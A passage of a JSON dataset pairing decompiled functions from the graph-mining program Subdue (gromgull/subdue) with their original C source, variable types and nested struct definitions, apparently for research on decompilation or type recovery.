*avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct SubList { struct _sub_list_node *head; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "compare_ints", "canonical_name": "func5", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall compare_ints(_DWORD *a1, _DWORD *a2)\n{\n__int64 result; // rax\n\nif ( *a1 >= *a2 )\nresult = *a1 > *a2;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(_DWORD *a1, _DWORD *a2)\n{\n__int64 result; // rax\n\nif ( *a1 >= *a2 )\nresult = *a1 > *a2;\nelse\nresult = 0xFFFFFFFFLL;\nreturn result;\n}", "original_code": "int compare_ints(const void *pa, const void *pb)\n{\n const int *a = pa;\n const int *b = pb;\n if (*a < *b)\n return -1;\n else if (*a > *b)\n return 1;\n else\n return 0;\n}", "canonical_original_code": "int compare_ints(void *pa, void *pb)\n{\n int *a = pa;\n int *b = pb;\n if (*a < *b)\n return -1;\n else if (*a > *b)\n return 1;\n else\n return 0;\n}", "variable_types": [ [ "pa", "void *" ], [ "pb", "void *" ], [ "a", "int *" ], [ "b", "int *" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "GetIncrement", "canonical_name": "func6", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall GetIncrement(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\n__int64 *v3; // [rsp+18h] [rbp-8h]\n\nv3 = (__int64 *)GetIncrementListNode(a1, a2);\nif ( v3 )\nresult = *v3;\nelse\nresult = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\n__int64 *v3; // [rsp+18h] [rbp-8h]\n\nv3 = (__int64 *)func11(a1, a2);\nif ( v3 )\nresult = *v3;\nelse\nresult = 0LL;\nreturn result;\n}", "original_code": "Increment *GetIncrement(ULONG incrementNum, Parameters *parameters)\n{\n IncrementListNode *listNode = GetIncrementListNode(incrementNum, parameters);\n if (listNode == ((void *)0))\n return ((void *)0);\n return listNode->increment;\n}", "canonical_original_code": "struct _increment *GetIncrement(unsigned long incrementNum, struct Parameters *parameters)\n{\n struct _increment_list_node *listNode = GetIncrementListNode(incrementNum, parameters);\n if (listNode == ((void *)0))\n return ((void *)0);\n return listNode->increment;\n}", "variable_types": [ [ "incrementNum", "unsigned long" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "listNode", "struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *" ] ], "return_type": "struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct SubList { struct _sub_list_node *head; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "GetCurrentIncrement", "canonical_name": "func7", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall GetCurrentIncrement(__int64 a1)\n{\n__int64 result; // rax\n__int64 v2; // [rsp+10h] [rbp-10h]\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nv3 = GetCurrentIncrementNum(a1);\nv2 = GetIncrement(v3, a1);\nif ( v3 )\nresult = v2;\nelse\nresult = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 a1)\n{\n__int64 result; // rax\n__int64 v2; // [rsp+10h] [rbp-10h]\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nv3 = func8(a1);\nv2 = func6(v3, a1);\nif ( v3 )\nresult = v2;\nelse\nresult = 0LL;\nreturn result;\n}", "original_code": "Increment *GetCurrentIncrement(Parameters *parameters)\n{\n ULONG currentIncrementNum = GetCurrentIncrementNum(parameters);\n Increment *increment = GetIncrement(currentIncrementNum, parameters);\n if (currentIncrementNum == 0)\n return ((void *)0);\n return increment;\n}", "canonical_original_code": "struct _increment *GetCurrentIncrement(struct Parameters *parameters)\n{\n unsigned long currentIncrementNum = GetCurrentIncrementNum(parameters);\n struct _increment *increment = GetIncrement(currentIncrementNum, parameters);\n if (currentIncrementNum == 0)\n return ((void *)0);\n return increment;\n}", "variable_types": [ [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "currentIncrementNum", "unsigned long" ], [ "increment", "struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *" ] ], "return_type": "struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct SubList { struct _sub_list_node *head; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "GetCurrentIncrementNum", "canonical_name": "func8", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall GetCurrentIncrementNum(__int64 a1)\n{\n_QWORD *v2; // [rsp+10h] [rbp-8h]\n\nv2 = **(_QWORD ***)(a1 + 1752);\nif ( !v2 )\nreturn 0LL;\nwhile ( v2[1] )\nv2 = (_QWORD *)v2[1];\nreturn *(_QWORD *)(*v2 + 8LL);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(__int64 a1)\n{\n_QWORD *v2; // [rsp+10h] [rbp-8h]\n\nv2 = **(_QWORD ***)(a1 + 1752);\nif ( !v2 )\nreturn 0LL;\nwhile ( v2[1] )\nv2 = (_QWORD *)v2[1];\nreturn *(_QWORD *)(*v2 + 8LL);\n}", "original_code": "ULONG GetCurrentIncrementNum(Parameters *parameters)\n{\n IncrementListNode *incNodePtr = parameters->incrementList->head;\n if (incNodePtr == ((void *)0))\n return 0;\n while (incNodePtr->next != ((void *)0))\n incNodePtr = incNodePtr->next;\n return incNodePtr->increment->incrementNum;\n}", "canonical_original_code": "unsigned long GetCurrentIncrementNum(struct Parameters *parameters)\n{\n struct _increment_list_node *incNodePtr = parameters->incrementList->head;\n if (incNodePtr == ((void *)0))\n return 0;\n while (incNodePtr->next != ((void *)0))\n incNodePtr = incNodePtr->next;\n return incNodePtr->increment->incrementNum;\n}", "variable_types": [ [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "incNodePtr", "struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct SubList { struct _sub_list_node *head; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct InstanceList { struct _instance_list_node *head; }", "struct _instance_list_node { struct 